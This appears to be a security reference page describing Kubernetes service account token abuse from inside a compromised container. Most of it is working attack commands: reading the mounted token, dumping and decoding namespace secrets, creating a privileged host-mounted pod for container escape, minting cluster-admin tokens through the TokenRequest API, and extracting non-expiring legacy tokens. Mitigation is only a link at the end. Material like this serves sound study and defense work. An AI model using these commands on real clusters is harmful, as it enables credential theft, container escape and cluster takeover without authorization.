Skip to main content

Service Account Token Projection Abuse

Kubernetes service account tokens provide pods with authentication credentials to access the API server. In versions prior to 1.21, these tokens were non-expiring and mounted into every pod by default. Even with modern token projection, misconfigured tokens with excessive permissions or long lifetimes present significant security risks.

This attack demonstrates how compromised pods or containers can abuse service account tokens to escalate privileges, access secrets, and move laterally within the cluster.


Exploitation Steps

Attackers exploit service account tokens that are automatically mounted into pods to gain unauthorized cluster access.

1. Locate Mounted Service Account Token

Every pod with automountServiceAccountToken: true (default) has a token mounted.

# Inside a compromised container
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# View token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# View namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

2. Test Token Permissions

Query the API server to discover what permissions the service account has.

# Set up environment variables
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Test basic API access
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE

# Check self-permissions
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
-X POST \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectAccessReview",
"spec": {
"resourceAttributes": {
"namespace": "'$NAMESPACE'",
"verb": "list",
"resource": "secrets"
}
}
}'

3. Extract Secrets Using Service Account Token

If the service account has secrets access, extract all secrets in the namespace.

# List all secrets
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets

# Get specific secret (database credentials)
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets/database-credentials \
| jq -r '.data | map_values(@base64d)'

Output:

{
"username": "admin",
"password": "SuperSecret123!",
"host": "postgres.production.svc.cluster.local"
}

4. Create Privileged Pods for Container Escape

If the service account can create pods, spawn a privileged container for host access.

# Create privileged pod manifest
cat <<EOF | curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods \
-X POST -d @-
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "breakout-pod"
},
"spec": {
"hostNetwork": true,
"hostPID": true,
"hostIPC": true,
"containers": [{
"name": "breakout",
"image": "alpine:latest",
"command": ["sh", "-c", "sleep 3600"],
"securityContext": {
"privileged": true
},
"volumeMounts": [{
"name": "host",
"mountPath": "/host"
}]
}],
"volumes": [{
"name": "host",
"hostPath": {
"path": "/"
}
}]
}
}
EOF

5. Escalate to Cluster Admin via TokenRequest API

If the service account has serviceaccounts/token create permissions, generate tokens for other service accounts.

# Create token for cluster-admin service account
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
$APISERVER/api/v1/namespaces/kube-system/serviceaccounts/cluster-admin/token \
-X POST -d '{
"apiVersion": "authentication.k8s.io/v1",
"kind": "TokenRequest",
"spec": {
"expirationSeconds": 3600
}
}' | jq -r '.status.token'

# Use the new token
ADMIN_TOKEN="<token-from-above>"

# Now has cluster-admin privileges
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $ADMIN_TOKEN" \
$APISERVER/api/v1/nodes

6. Persist Access with Legacy Token Secrets

In clusters with pre-1.24 service accounts, extract non-expiring tokens.

# List service account secrets
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets \
| jq '.items[] | select(.type=="kubernetes.io/service-account-token")'

# Extract legacy token (never expires)
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/secrets/default-token-xxxxx \
| jq -r '.data.token' | base64 -d

Result

The attacker now has:

  • Persistent API access through stolen service account tokens
  • Access to secrets including database credentials and API keys
  • Ability to create privileged pods for container escape
  • Cluster-admin privileges via token request API abuse
  • Long-lived tokens in clusters using legacy token secrets
  • Lateral movement to other namespaces and resources

Mitigation

See the mitigation strategies in:

Service Account Token Security